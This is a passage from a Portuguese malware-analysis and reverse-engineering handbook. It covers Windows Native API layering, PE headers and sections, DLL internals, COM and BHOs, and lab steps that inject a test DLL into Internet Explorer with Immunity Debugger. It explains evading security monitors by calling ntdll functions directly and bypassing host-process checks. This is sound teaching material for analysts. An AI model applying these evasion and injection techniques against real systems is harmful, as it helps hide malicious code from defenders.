Algumas das funções dessas DLLs são implementadas em user mode diretamente dentro da
própria DLL. Todavia, uma quantidade significativa das funções dessas DLLs requer serviços
dentro do kernel mode. Um exemplo é o serviço básico de input/output (I/O) de arquivos, como as
funções ReadFile() e WriteFile() da Win32 API. O IO manager dentro do kernel mode é responsável
por manipular todas as requisições. Assim, quando uma aplicação user mode chama ReadFile()
dentro da Kernel32.dll, ReadFile() na verdade chama outra função chamada NtReadFile(), que é
exportada pelo IO manager em kernel mode. Sempre que uma aplicação precisa utilizar uma função
dentro de alguma dessas DLLs.

6.5.2. Native API

O Windows XP foi construído baseado no Windows NT e utiliza seus componentes no


kernel. A Native API é na verdade uma interface para os componentes de kernel do Windows NT e
a Win32 API é apenas uma camada acima da Native API. Como o NT kernel não precisa fazer nada
com relação a interfaces gráficas, a Native API não contém nenhum serviço relacionado a isso. Em
termos de funcionalidade, a Native API é a interface mais próxima do kernel do Windows,
disponibilizando serviços diretos para o gerenciador de memória, sistema de I/O, gerenciador de
objetos, processos, threads, etc.
Programas aplicativos supostamente nunca devem chamar diretamente a Native API – isso
Engenharia Reversa e Análise de Malware | 94

quebraria a compatibilidade com Windows 9x (alguém ainda se importa com isso?). Essa é uma das
razões pelas quais a Microsoft nunca quis realmente documentá-la, é esperado que programas
aplicativos somente utilizem a Win32 API para interagir com o sistema. E ainda, não expondo a
Native API, a Microsoft assegura a liberdade de revisá-la e alterá-la sem afetar aplicações Win32.
Porém existem esforços externos que tentam documentá-la como o website:
http://undocumented.ntinternals.net/.
Tecnicamente, a Native API é um conjunto de funções exportadas pela NTDLL.DLL (para
chamadas user mode) e por NTOSKRNL.EXE (para chamadas kernel mode). A figura abaixo
demonstra os passos e as camadas que a Microsoft criou para que as aplicações alcancem as
funcionalidades desejadas através da native API.

Chamar a Native API diretamente é um atrativo para os autores de malwares porque isso
permite que eles façam coisas que de outras formas não era possível. Há muitas funcionalidades que
não são expostas pela Win32 API, mas que podem ser atingidas chamando diretamente a Native
API.
Adicionalmente, essa chamada direta é às vezes mais furtivo. Muitos antivírus e programas
de segurança monitoram as chamadas de funções feitas por um processo, se o processo chama
funções diretamente da Native API ele pode ser capaz de evadir um programa mal projetado. Por
exemplo, se o programa de segurança monitora somente chamadas às funções da Kernel32.dll, o
malware quando precisar utilizar a função WriteFile() da Kernel32.dll pode simplesmente chamar a
função equivalente na Native API, no caso a NtWriteFile() que está na ntdll.dll e não é monitorada
pelo programa de segurança, assim será configurado um bypass.
Engenharia Reversa e Análise de Malware | 95

As funções na Native API sempre iniciam com um desses dois prefixos: Nt ou Zw, assim as
funções têm nomes como NtCreateFile ou ZwCreateFile. Às vezes a mesma função possui as duas
versões com os dois prefixos, em user mode elas se comportam exatamente da mesma maneira e
usualmente chamam o mesmo código. Há algumas diferenças menores quando chamadas em kernel
mode, mas essas diferenças podem ser seguramente ignoradas por analistas de malwares.

6.6. Lab 06-01 Entendendo as APIs do Windows na prática

Nesse Lab iremos navegar pelo conjunto de APIs do Windows desde a aplicação do usuário
até o kernel.

Material necessário:
- Máquina virtual com Windows XP 32-bit
- IDA Pro Free
- WinDbg
- Windows Symbol Packages (opcional)

6.7. Formato Portable Executable (PE)

PE ou Portable Executable é o formato de arquivo desenvolvido pela Microsoft para


executáveis Win32, incluindo DLLs, COM, OCX, extensões do Painel de Controle (.CPL) e
executáveis .NET. Até mesmo NT kernel mode drivers utilizam o formato PE. O entendimento do
formato é importante pois permite lidar com o arquivo do malware de forma mais precisa e ajuda na
hora de fazer um unpacker ou retirada de alguma proteção, por exemplo.
O formato PE é derivado e compartilha algumas estruturas comuns com o antigo Common
Object File Format (COFF) que foi criado para a plataforma UNIX. O PE já foi bem documentado
pela Microsoft e outros pesquisadores externos, porém mesmo assim sua análise é complicada,
devido ao fato do arquivo não ser simplesmente contínuo, ele apresenta uma série de estruturas
diferentes e subcomponentes que descrevem, apontam para algo e contêm dados ou código, como
ilustrado na figura abaixo.
Engenharia Reversa e Análise de Malware | 96

Existem algumas ferramentas que facilitam a visualização dessa estrutura, entre as mais
conhecidas incluem CFF Explorer, PEView, PEBrowse Pro e Lord PE (PE Editor). Existe também a
ferramenta pev que é multiplataforma e possui uma versão online (http://pev.sf.net), foi criada pelo
Fernando Mercês (http://www.mentebinaria.com.br/projetos).

6.7.1. Conceitos Básicos

Antes de começarmos a falar das estruturas ilustradas na figura acima é interessante


entendermos o conceito de realocação, que diz respeito ao endereço de memória onde o arquivo PE
é carregado.
Dentro de um arquivo PE, há muito locais onde é necessário especificar um endereço de
memória, como por exemplo, o endereço onde uma variável global está localizada. O arquivo PE
pode ser carregado em qualquer espaço de memória reservado para o processo. Apesar de ele ter um
endereço de memória onde gostaria de ser carregado, não é possível confiar que realmente ele será
carregado lá. Por essa razão, é importante haver algum modo de especificar endereços de memória
que são independentes do local onde o executável será carregado, ou seja, relativos.
Engenharia Reversa e Análise de Malware | 97

Para evitar endereços hardcoded (endereços fixos) dentro dos arquivos PE, Relative Virtual
Addresses (RVA) são utilizados. Um RVA é simplesmente um offset na memória relativo ao local
onde o PE foi carregado. Esse endereço onde o PE foi carregado é chamado de Virtual Address
(VA). Um exemplo, vamos considerar que um arquivo EXE foi carregado na memória no VA
0x400000, e que sua sessão de código (.text) se inicia no endereço 0x401000. Dessa forma para
encontrar o RVA da sessão .text faríamos:

0x401000 (.text) – 0x400000 (VA) = 0x1000 (RVA)

Então o RVA da sessão .text seria 0x1000. Agora se você tiver o RVA e quiser saber o
endereço de memória real, simplesmente faça o contrário:

0x400000 (VA) + 0x1000 (RVA) = 0x401000 (endereço de memória real)

Quando arquivos PE são carregados na memória pelo Windows loader, a versão desse
arquivo na memória é chamada de module. O endereço inicial onde o arquivo é mapeado, isto é, o
Virtual Address (VA), é chamado de HMODULE. Um module na memória representa todo o
código, dados e recursos de um arquivo PE necessários para sua execução, enquanto que o termo
processo basicamente se refere a um espaço de memória isolado que pode ser utilizado para
executar esse module.

6.7.2. MS-DOS Header

Todos osarquivos PEcomeçamcom o DOS Headerque ocupaos primeiros 64bytesdo arquivo.


Ele está lá para o caso de o programa ser executadoa partir do DOS, desse modo o DOSpode
reconhecê-locomo umexecutável válidoe então executaro DOS stub,que é
armazenadoimediatamente após o cabeçalho. O DOS stubgeralmente apenasimprime umastring
com algo do tipo"This program must be run under Microsoft Windows",mas poderiaser
umprogramaDOS completo.
O MS-DOS header possui 19 campos, dos quais os que mais nos interessam são o magic e
lfanew:
Engenharia Reversa e Análise de Malware | 98

O campo magic possui a assinatura do arquivo, que diz para o sistema operacional de qual
tipo o arquivo é, nesse caso o arquivo PE vai ter os valores 0x4D e 0x5A (em ASCII representam as
letras “MZ” de Mark Zbikowsky, um dos arquitetos originais do MS-DOS).
O campo lfanew fica no final do DOS header e consequentemente antes do DOS stub, ele
contém o RVA do início do PE header, assim o Windows loader encontra esse campo e pode pular a
DOS Stub e ir direto para o PE header. Na figura abaixo a representação ilustrada do que falamos.
Engenharia Reversa e Análise de Malware | 99

6.7.3. PE Header

PE Header é o termo genérico para a estrutura chamada IMAGE_NT_HEADERS, ou


somente NT HEADERS. Essa estrutura contém informações essenciais utilizadas pelo loader e é
composta por três membros:

Signature contém os valores 0x50, 0x45, 0x00 e 0x00 (“PE” seguido de dois zeros
finalizadores da string)
IMAGE_FILE_HEADER é uma estrutura de dados compostas pelos próximos 20 bytes do
arquivo PE e contém informações sobre o layout físico e propriedades do arquivo, como por
exemplo, o número de sessões. Sua estrutura é essa:
Engenharia Reversa e Análise de Malware | 100

Destaque para o campo Characteristics que contém flags que descrevem várias
características do arquivo, o CFF Explorer nos mostra essas informações:

IMAGE_OPTIONAL_HEADER é uma estrutura de dados que possui inúmeros campos


(ou membros) e ainda sua própria DATA DIRECTORY (que é outra estrutura), contém informações
sobre o layout lógico do arquivo PE. Seu tamanho é definido pelo campo SizeOfOptionalHeader
do IMAGE_FILE_HEADER que vimos há pouco.

Abaixo os membros do Optional Header.


Engenharia Reversa e Análise de Malware | 101

Destaque para os campos:

AddressOfEntryPoint: é o RVA da primeira instrução que será executada quando o loader


estiver pronto para executar o arquivo PE. Caso pretenda desviar o fluxo de execução do programa
bem no início, você precisa alterar o valor desse campo para um novo RVA e a instrução desse novo
RVA será executado primeiro. Os packers de executáveis frequentemente redirecionam esse valor
para seu próprio código de unpacking, e após executá-lo realiza um JUMP de volta ao Entry Point
Original do programa, que é chamado de OEP.
ImageBase: esse é o endereço de memória preferido onde o arquivo PE gostaria de ser
carregado. Por exemplo, se o valor desse campo for 400000h, o PE loader irá tentar carregar o
arquivo nesse Virtual Address. A palavra “preferido” significa que o loader pode não conseguir
carregar o arquivo nesse espaço de endereçamento se algum outro módulo já estiver ocupando esse
Engenharia Reversa e Análise de Malware | 102

range.
DataDirectory: esse é um array de 16 estruturas de IMAGE_DATA_DIRECTORY, cada
uma relativa a uma importante estrutura no arquivo PE, como por exemplo, a tabela de imports -
IAT (Import Address Table). O DataDirectory está nos últimos 128 bytes do OptionalHeader, cada
uma das 16 estruturas já são predefinidas e possuem 8 bytes. Possuem dois campos que são a
localização (RVA) e o tamanho da estrutura em questão. O utilitário LordPE através de sua opção
PE Editor, lista essas 16 estruturas de forma amigável como pode-se ver abaixo.

As estruturas que possuem valores 00h nos dois campos não são utilizadas pelo arquivo PE
em questão (NOTEPAD.EXE).

6.7.4. Section Table

Imediatamente após o PE header encontra-se a Section Table. Consiste em um array de


estruturas denominadas IMAGE_SECTION_HEADER, cada uma contendo informações sobre uma
seção do arquivo PE. Lembre-se que o número de seções é o segundo campo do
IMAGE_FILE_HEADER (dentro o PE Header). Caso haja 8 seções no arquivo PE então haverá 8
cópias dessa estrutura de tabela. Cada SectionHeader possui 40 bytes e seus campos são:
Engenharia Reversa e Análise de Malware | 103

Destaque para os campos:


Name1: é o nome da seção, é apenas um rótulo e pode até ser deixado em branco.
VirtualSize: é o tamanho atual dos dados da seção em bytes. Esse tamanho pode ser menor
que o tamanho que a seção ocupa no disco (SizeOfRawData) e será o espaço que o loader alocará
na memória para essa seção.
VirtualAddress: é o RVA da seção. O loader examina e utiliza esse valor quando está
mapeando a seção na memória. Então se esse valor for 1000h e o PE foi carregado no endereço
400000h (VA), a seção será carregada em 401000h.
SizeOfRawData: tamanho que os dados da seção ocupam no arquivo em disco.
PointerToRawData (Raw Offset): extremamente útil, porque esse é o offset onde se inicia
verdadeiramente a seção no arquivo, isto é, os dados da seção. O que estamos vendo até aqui são só
o header das seção, a seção de verdade se inicia no endereço apontado nesse campo. Se o valor
desse campo for 0, os dadosda seçãonão estão contidosno arquivoeserãoarbitrários na hora do
carregamento.

6.7.5. PE Sections

As seções contêm o conteúdo principal do arquivo, incluindo código, dados, recursos, e


outras informações do executável. Cada seção tem um header, como acabamos de ver, e um corpo
(raw data). As seções (os dados) não seguem uma estrutura rígida como os headers, elas podem ser
organizadas quase que de qualquer forma que o linker deseje organizá-las, desde que nos headers
tenham informações suficientes para decifrá-las.
Uma aplicação típica do Windows NT tem 9 seções predefinidas nomeadas como: .text, .bss,
.rdata, .data, .rsrc, .edata, .idata, .pdata e .debug. Algumas aplicações não necessitam de todas essas
Engenharia Reversa e Análise de Malware | 104

seções, enquanto outros definem ainda mais seções de acordo com suas necessidades. Vejamos
algumas características das seções principais separadas por funcionalidades:

 Código executável (.text ou CODE)


No Windows NT todo o segmento de código reside em uma única seção que pode ser
chamada de .text ou CODE (Borland). O fato de ser somente uma seção extensão torna o
gerenciamento da seção mais fácil para o sistema operacional e a aplicação.

 Dados (.bss, .rdata e .data)


A seção .bss representa dados não inicializados da aplicação, incluindo todas as variáveis
declaradas como estáticas dentro de uma função ou módulo do código-fonte. A seção .rdata
representa dados read-only, como strings, constantes e informações de debug. Todas as outras
variáveis (exceto variáveis automática, que aparecem na pilha) são armazenadas na seção .data.
Essas são variáveis globais da aplicação ou módulo.

 Resources (.rsrc)
A seção .rsrc contém informações de recursos para um módulo. Essas informações podem
ser ícones, cursores do mouse, bitmaps, e outros. Ela possui uma estrutura de diretórios em árvore
mais complexa e a melhor forma de visualizá-la é através um programa editor de recurso como o
Resource Hacker. Essa seção também é utilizada pelos malwares para “esconder” códigos ou
módulos.

 Export data (.edata)


A seção .edata contém o Export Directory para uma aplicação ou DLL. Quando presente
essa seção armazena informações sobre nomes e endereços de funções exportadas pelo PE.

 Import data (.idata)


A seção .idata contém várias informações sobre funções importadas pelo PE, incluindo o
Import Directory e a Import Address Table (IAT).

 Thread Local Storage (.tls)


O Windows suporta a execução de múltiplas threads por processo. Cada thread possui seu
próprio local de armazenamento, o Thread Local Storage ou TLS, para manter dados específicos
daquela thread, como ponteiros das estruturas de dados e recursos que aquela thread está utilizando.
O linker pode criar uma seção .tls em um arquivo PE que define o layout da TLS necessária para a
Engenharia Reversa e Análise de Malware | 105

thread. Cada vez que o processo cria uma nova thread, essa nova thread obtém seu próprio TLS, que
foi criado utilizando a seção .tls como template.

Abaixo e a esquerda uma representação gráfica do arquivo PE com algumas seções e na


direita uma versão simplificada com as principais estruturas do PE.

6.8. O Loader – Como um arquivo PE é carregado na memória

Abaixo a sequência resumida dos passos que o loader executa para carregar um arquivo PE
na memória.

1. Lê a primeira parte do arquivo: DOS Header, PE Header e section headers.


2. Determina se a área pretendida de endereçamento da memória está disponível, se não
estiver aloca outra área.
3. Utilizando as informações dos sections headers, mapeia as seções do arquivo para o
local apropriado no espaço de endereçamento alocado.
Engenharia Reversa e Análise de Malware | 106

4. Se o arquivo não é carregado no endereço preferido (ImageBase), aplica correções de


realocação.
5. Acessa a lista de DLLs na seção de imports e carrega todas DLLs que ainda não
foram carregadas.
6. Resolve todos os símbolos dos imports na seção imports.
7. Cria a pilha e heap inicial utilizando valores do PE Header.
8. Cria a thread inicial e inicia o processo.
Engenharia Reversa e Análise de Malware | 107

7. Trabalhando com DLLs

Dynamic link libraries (DLLs) é como o Windows possibilita o uso de bibliotecas para
compartilhar código entre múltiplas aplicações. Uma DLL é um arquivo do formato PE que não
executa sozinho, mas exporta funções que podem ser utilizadas por outras aplicações.
A principal vantagem de se utilizar DLLs é que a memória usada pela DLL pode ser
compartilhada entre os processos que estão rodando. Por exemplo, se uma biblioteca é usada por
dois processos diferentes, os processos não precisarão fazer uma cópia cada um da DLL na
memória, dessa forma economizará memória.
Outra grande vantagem do uso das DLLs é que quando um executável é distribuído, você
pode utilizar as DLLs que já são conhecidas e estão no Windows sem a necessidade de redistribuí-
las. Isso ajuda os desenvolvedores de software e os autores de malwares a diminuir o tamanho de
suas distribuições.
DLLs também são mecanismos úteis de reuso de código. Por exemplo, grandes companhias
de software irão criar DLLs com algumas funcionalidades que são comuns para muitas de suas
aplicações. Então, quando eles distribuem as aplicações, eles distribuem o .EXE principal e alguma
DLL que a aplicação utiliza. Isso permite eles manterem uma única biblioteca de código comum e
distribuí-la somente quando necessário.
O fato de que as DLLs executam no contexto de um processo torna o seu uso muito
desejável pelos autores de malware. Distribuindo código malicioso em uma DLL ao invés de um
EXE, permite que o malware se execute dentro de algum processo (conhecido como processo alvo
ou processo host), incluindo winlogon.exe, csrss.exe ou explorer.exe. Não somente isso ajuda o
malware a ocultar suas ações (qualquer ação que o malware realizar aparecerá como originada do
processo host), como também dará ao malware acesso a todo o endereçamento de memória que
pertence ao processo host.
Caso o processo host seja um browser, o malware pode capturar credenciais bancárias das
transações SSL antes que a encriptação seja feita. Outra razão pela qual os autores de malware
utilizam DLLs é porque pesquisadores e analistas não estão familiarizados com DLLs da mesma
forma que com EXEs.

7.1. Estrutura Básica de uma DLL

Internamente, arquivos DLL são quase exatamente iguais aos EXE. DLL utiliza o formato
Engenharia Reversa e Análise de Malware | 108

PE e somente uma simples flag indica que aquele arquivo é uma DLL e não um EXE (essa flag está
no IMAGE_FILE_HEADER no campo Characteristics). DLLs geralmente têm mais Exports e
menos Imports. Tirando isso, não existe diferença real entre DLLs e EXEs.
A função principal da DLL é DllMain. Ela não possui rótulo e não é um Export da DLL,
mas é especificada no PE Header com o Entry Point do arquivo. A função é chamada para notificar
a DLL sempre que um processo carrega ou libera a biblioteca, cria uma nova thread ou finaliza uma
thread existente. Essa notificação permite a DLL gerenciar qualquer recurso por processos ou por
threads.
A maioria das DLLs não tem recursos por threads, e elas ignoram chamadas para a DllMain
que são causadas por atividades da thread. Contudo, se a DLL possui recursos que devem ser
gerenciados pela thread, então esses recursos podem prover uma dica para um analista sobre o
objetivo da DLL.

7.2. Enumerando Exports da DLL

Muitos autores de malware colocam nomes significativos para as funções que a DLL
maliciosa exporta, isso nos dá uma rápida e fácil primeira impressão das capacidades da DLL.
Outros autores podem utilizar nomes enganosos ou aleatórios para intencionalmente enganá-lo.
Com os mesmos programas que analisamos os EXE podemos também analisar as DLLs e enumerar
seus Exports. Desses programas destacam-se o CFF Explorer e o IDA Pro.
No CFF Explorer pode-se clicar em Export Directory para apresentar todos os Exports da
DLL.
Engenharia Reversa e Análise de Malware | 109

No IDA Pro é só clicar na aba Exports para visualizar o mesmo conteúdo. Inclusive a
vantagem do IDA é que ele permite navegar no código de qualquer Export para entendermos
melhor quais suas funcionalidades. Não tire conclusões sobre um Export apenas baseado no seu
nome, antes faça uma análise do código.
Engenharia Reversa e Análise de Malware | 110

7.3. Executando DLLs

Diferente de programas EXE, você não pode simplesmente dar dois cliques em uma DLL
para ela executar, porque uma DLL não é uma entidade standalone, ela requer um processo host, ou
um contêiner, para operar. O Windows já vem com um programa chamado rundll32.exe que serve
como um processo host genérico para executar DLL. A linha de comando para esse programa é:

C:\> rundll32 <dllpath>,<export> [argumentos opcionais]

Descrição dos parâmetros:

 dllpath: é o caminho completo para a DLL no disco (sem espaços e caracteres


especiais).
 export: é o nome de uma função exportada pela DLL para ser chamada após ela ser
carregada. Tem que haver uma vírgula (sem espaços) entre o dllpath e o export.
 Você pode fornecer opcionalmente argumentos para o export colocando-os no final da
linha de comando.

Os passos a seguir explicam como rundll32.exe funciona:

1. Ele chama GetCommandLineW para obter os parâmetros da linha de comando que você
forneceu.
Engenharia Reversa e Análise de Malware | 111

2. Ela valida os parâmetros e finaliza caso sua sintaxe for incorreta.


3. Carrega a DLL especificada através de LoadLibraryW. Esse passo automaticamente
executa o código do entry point da DLL (DllMain). Lembre-se sempre disso, é muito
importante.
4. Tenta obter o endereço da função fornecida em export chamando GetProcAddress e
finaliza caso a função não seja encontrada.
5. Ele chama a função export, fornecendo qualquer argumento opcional caso tenha sido
informado.

O comando para executar uma DLL através do rundll32.exe é simples, porém não se
esqueça de SEMPRE fornecer um nome de função em export, mesmo que você só queira executar o
DllMain, é necessário fornecer algum parâmetro, dessa forma você pode colocar qualquer nome
falso.
Após a execução da DLL você pode monitorá-la normalmente através dos programas de
análise dinâmica, porém tenha em mente que o processo alvo de monitoramento será o rundll32.exe
já que ele que estará servindo de host para a DLL.

7.4. Restrições de Processo Host

Uma das limitações óbvias do rundll32.exe é que o processo host da DLL sempre será o
rundll32.exe. Muitas DLLs maliciosas apenas operam em processos hosts específicos e finalizarão a
execução ou se comportarão diferente se você tentar executá-las em um processo qualquer. Por
exemplo, a figura abaixo (fornecida pelo livro Malware Analyst’s Cookbook and DVD) mostra uma
descompilação de código encontrado na DLL do trojan Clod/Sereki.
Engenharia Reversa e Análise de Malware | 112

Como você pode ver, se o processo host é explorer.exe, o malware cria uma thread e realiza
uma série de procedimentos. Caso o processo host não seja o explorer.exe, nem iexplore.exe,
regedit.exe, regedt32.exe e firefox.exe, a DLL chama a função Cleanup e retorna.
Se você executa a DLL com rundll32.exe e ela não se comporta do jeito que você esperava,
então ela pode ter uma restrição de processo host. Nesse caso, você terá que realizar a análise
estática da DLL para tentar descobrir a lista de processos que a DLL deseja executar. Tenha em
mente que essa lista nem sempre estará em texto simples, poderá estar ofuscada.

Evitando Restrições de Processo Host

Uma forma simples de dar um bypass na restrição de processo host é renomeando o


rundll32.exe para o nome de processo que a DLL requer. Isso passará pela checagem de nome,
porém outros comportamentos da DLL pode não funcionar corretamente caso ela não esteja
realmente rodando no processo host desejado. Nesse caso, pode-se utilizar a ferramenta
RemoteDLL(http://securityxploded.com/remotedll.php)para injetar sua DLL no processo desejado.
Uma vez que a DLL esteja rodando em seu processo alvo, você pode analisar o
comportamento do processo utilizando as ferramentas de análise dinâmica.
Engenharia Reversa e Análise de Malware | 113

7.5. Debugging DLL

Para realizar o debugging de uma DLL basta você abri-la no OllyDbg ou no Immunity
Debugger. Ambos os debuggers incluem um processo host genérico chamado LOADDLL.EXE, que
serve de container para executar sua DLL (do mesmo jeito que o rundll32.exe trabalha).
O debugger executa o LOADDLL.EXE passando como argumento o caminho para sua
DLL. Depois chama GetCommandLineA e em sequência LoadLibraryA. Assim a DLL é chamada e
a execução é parada no DLLEntryPoint, pois o debugger coloca um breakpoint automaticamente aí.
O debugger sabe onde é o entry point da DLL através do campo AddressOfEntryPoint no PE
Header. A partir desse momento você pode debugar a DLL como se fosse um programa comum.

7.6. Component Object Model (COM)

O Microsoft Component Object Model, mais conhecido como COM, é uma padrão de
interface que torna possível diferentes componentes de software chamar código de outros
componentes sem o conhecimento de suas especificações. Quando analisar malware que utiliza
COM, você precisará ser capaz de determinar qual código será executado como resultado de uma
chamada a uma função COM.
COM funciona com qualquer linguagem de programação e foi projetada para suportar
componentes de softwares reusáveis que possam ser utilizados por todos os programas. Como COM
é muito versátil, ela é difundida no sistema operacional e na maioria das aplicações da Microsoft.
Ocasionalmente COM também é utilizada em aplicações de terceiros.
Malwares que utilizam as funcionalidades da COM podem ser difíceis de serem analisados,
mas você pode utilizar as técnicas descritas aqui para ajudar. COM é implementada como um
framework client/server. Os clientes são os programas que fazem uso de objetos COM, e o
servidores são os componentes reusáveis oferecidos pelas aplicações, isto é, os próprios
componentes COM. A Microsoft fornece um grande número de objetos COM para programas
utilizarem.
Cada thread que utiliza COM deve chamar as funções OleInitialize ou CoInitialize pelo
menos uma vez antes de chamar outras funções da biblioteca COM. Então, um analista de malware
pode buscar por essas funções para determinar se uma programa está utilizando as funcionalidades
da COM. Todavia, apenas saber que o malware utiliza um objeto COM como client não fornece
muita informação, porque existem muitos objetos COM e são muito difundidos. Uma vez que você
descobriu que uma malware utiliza COM, agora você precisará encontrar identificadores de qual
objeto está sendo utilizado para continuar a análise.
Engenharia Reversa e Análise de Malware | 114

CLSIDs, IIDs, e o uso de objetos COM

Objetos COM são acessados através dos seus identificadores globais únicos (globally unique
identifiers, GUID) conhecidos como class identifiers (CLSIDs) e interface identifiers (IIDs).
Uma COM class faz referência a um object (um programa) que implementa uma interface.
Essa interface por sua vez pode implementar várias funções, porém uma interface não está ligada a
uma COM class, ela é independente de programa. Por causa disso, para acessar um objeto COM é
necessário informar o identificador da COM class (CLSID) e também o identificador da interface
que será utilizada (IID). Por exemplo, podemos informar o CLSID (que é uma sequência numérica)
do Internet Explorer e informar o IID da interface IWebBrowser2 que é implementada pelo IE e
então posteriormente utilizar a função Navigate, que faz parte da interface, para executar o IE e
acessar um endereço web.
Considere um exemplo de malware que utiliza o Navigate para acessar um endereço
malicioso. O malware primeiro chama a função CoCreateInstance para ter acesso às
funcionalidades COM de um objeto. A função aceita o CLSID e o IID do objeto que o malware está
requisitando. O sistema operacional então busca por informações da class e carrega o programa que
fornecerá a funcionalidade, se ele já não estiver executando. A função CoCreateInstance retorna um
ponteiro que aponta para um estrutura que contém outros ponteiros para as funções da interface.
Para utilizar a funcionalidade da COM server o malware chamará a função Navigate através do
ponteiro dessa última estrutura. A listagem abaixo mostra um exemplo de código que acessa a
interface IWebBrowse2.

Nesse exemplo de código que o IDA forneceu já estão especificados os identificadores


globais utilizados, são estáticos no código. Em  está o IID que identifica a interface e em  está
o CLSID que identifica a class. Se clicarmos nos dois offsets dos identificadores o IDA nos mostra
seu valores:

IID:D30C1661-CDAF-11D0-8A3E-00C04FC9E26E
CLSID:0002DF01-0000-0000-C000-000000000046
Engenharia Reversa e Análise de Malware | 115

Esse identificadores fazem referência à interface IWebBrowser2 e ao programa Internet


Explorer respectivamente. Quando um programa chama CoCreateInstance, o sistema operacional
usa informações do registro para determinar qual arquivo contém o código COM requisitado. As
chaves de registro abaixo armazenam a informação de qual código executar para o COM Server:

HKLM\SOFTWARE\Classes\CLSID\<identificador>
HKCU\SOFTWARE\Classes\CLSID\<identificador>

A subchave LocalServer32 da chave abaixo identifica o executável que será chamado


quando CoCreateInstance for chamada:

HKLM\SOFTWARE\Classes\CLSID\0002DF01-0000-0000-C000-000000000046\

Nesse caso o valor de LocalServer32 é "C:\Arquivos de programas\Internet


Explorer\IEXPLORE.EXE".
Nesse trecho de código foi fácil encontrar os identificadores mas nem sempre isso é possível
apenas analisando a chamada da função CoCreateInstance, algum dos parâmetros pode não ser
estático e então não estará exposto no código. Uma forma de lidar com isso é através do debugging
do código ou da análise dinâmica, o Process Monitor consegue capturar todos os acessos a
identificadores feitos por determinado programa.
Caso tenha o valor de um identificador e queira descobrir o objeto que ele faz referência, é
possível localizá-lo dentro do registro do Windows pelo utilitário regedit.exe, basta informar o
número do identificador e clicar em Localizar.
No exemplo, o Internet Explorer foi carregado dentro de seu próprio processo quando
CoCreateInstance foi chamada, dessa forma o processo iexplore.exe aparecerá na lista de processos
ativos. Porém isso nem sempre acontece, alguns objetos COM já implementados como DLLs que
são carregadas dentro do processo do COM client (do malware nesse caso). Quando o objeto COM
é configurado como DLL, a entrada do registro para a CLSID irá incluir a subchave
InprocServer32, ao invés de LocalServer32.

COM Server Malware

Alguns malwares implementam um COM server malicioso, que dessa forma é utilizado por
outras aplicações. Uma funcionalidade de COM server muito comum para malware é o Browser
Engenharia Reversa e Análise de Malware | 116

Helper Objects (BHOs), que são plug-ins de terceiros para o Internet Explorer. BHOs não possuem
restrições, assim os autores de malwares os utilizam para executar código dentro do processo do
Internet Explorer, isso permite eles monitorarem o tráfego da Internet, rastrear o uso do browser e
se comunicarem com a Internet sem precisar executar seu próprio processo.
Malwares que implementam COM servers geralmente são fáceis de detectar porque eles
exportam inúmeras funções, incluindo: DllCanUnloadNow, DllGetClassObject, DllInstall,
DllRegisterServer e DllUnregisterServer.

7.7. Lab 07-01 Análise de DLL maliciosa

Nesse Lab iremos analisar uma DLL maliciosa que foi gerada pelo executável do Lab 05-02.
Na análise deve-se atentar para todos os tópicos que foram discutidos nesse capítulo, inclusive o uso
de objetos COM.

Material necessário:
- Máquina virtual com Windows XP 32-bit
- PEiD, Exeinfo PE, RDG
- FakeNet, Wireshark
- Sysinternals Suite
- IDA Pro Free
- Arquivo: Lab-07-01.rar

7.8. Lab 07-02 Injeção e debugging de DLL com o Immunity Debugger

Nesse Lab iremos utilizar o Immunity Debugger para injetar uma DLL em um processo
qualquer e colocaremos um Breakpoint no entry point da DLL injetada para debugá-la desde a
primeira instrução como se fosse um executável normal.

Material necessário:
- Máquina virtual com Windows XP 32-bit
- Sysinternals Suite
- Python 2.7 Win 32
- Immunity Debugger

Passo a Passo
Engenharia Reversa e Análise de Malware | 117

1- Execute normalmente o programa que servirá como processo host da DLL, nesse caso irei
utilizar o Internet Explorer.

2- Abra o Immunity Debugger e clique em File – Attach para selecionar o processo no qual o
ImmDbg irá anexar para debugar. Será exibida uma janela com todos os processos em execução.
Selecione o IEXPLORE e clique em Attach.

3- O ImmDbg irá abri o processo IEXPLORE.exe em seu ambiente e irá pausar a execução.
Queremos injetar uma DLL no processo e parar a execução exatamente no Entry Point da DLL.
Aqui temos um problema, a função que faz a injeção da DLL é a LoadLibrary() e sabemos
que quando ela carregar a DLL na memória do processo, ela automaticamente executará o Entry
Point da DLL não dando tempo de colocar um breakpoint aí.
Para lidar com isso o ImmDbg possui uma opção, clique em Options – Debugging options
e selecione a aba Events. Marque a opção “Break on new module (DLL)” e clique em OK. Assim o
debugger irá parar a execução bem após ter carregado a DLL na memória e antes de executar o
Entry Point.
Engenharia Reversa e Análise de Malware | 118

4- Estamos prontos para injetar a DLL. Clique no segundo botão da barra de tarefas do ImmDbg
para a abrir a Python Shell.

5- A shell que se abriu nos permite executar comando python e ter acesso a API python do
debugger. Para obter a documentação da API há o menu ImmLib – Help no próprio ImmDbg ou
ainda na pasta de instalação do programa: Immunity Debugger\Documentation\Ref\toc.html.

6- No momento que injetamos a DLL no processo é criada uma nova Thread para essa DLL, então
vamos injetar nossa DLL no processo e recuperar e exibir o número da Thread. Digite os seguintes
comando na shell:

>>>thread = imm.injectDll("c:\\p2p.dll")
>>>
>>>print "Thread ID: 0x%X" % thread
Thread ID: 0x134

Injetamos a DLL (escolhi a p2p.dll somente para testes, está localizada originalmente em
Engenharia Reversa e Análise de Malware | 119

c:\windows\system32) e já recuperamos o número da nova Thread em um variável, depois exibimos


esse número no forma hexadecimal.

7- A DLL foi injetada na memória do processo mas o módulo ainda não foi carregado pela
LoadLibrary(). Precisamos executar o programa para que nosso módulo seja chamado. Pode ser que
ele não seja o próximo módulo a ser carregado, talvez precisamos executar mais de uma vez o
programa (F9).
Quando pressionarmos F9 para a execução, teremos que ficar de olho na janela de módulos
carregados (Window – 3 Executable modules) para descobrir se o nosso está lá. Às vezes o
ImmDbg já nos apresenta essa janela assim que o módulo é carregado e ele estará destacado em
vermelho.

8- Pressione F9 e observe os resultados, caso não tenha carregado a DLL pressione novamente F9
até atingi-la. No momento que carregar o nosso módulo injetado será exibida na janela de módulos
essa linha em vermelho:

9- Nosso módulo foi carregado e o Entry Point da DLL ainda não foi executado. Agora vamos
voltar para a Python Shell para colocar um breakpoint no Entry Point da DLL carregada. Utilize os
comandos abaixo:

>>>mod = imm.getModule("p2p.dll")
>>>
>>>print "Module ImageBase: 0x%X" % mod.getBase()
Module ImageBase: 0x4EFB0000
>>>
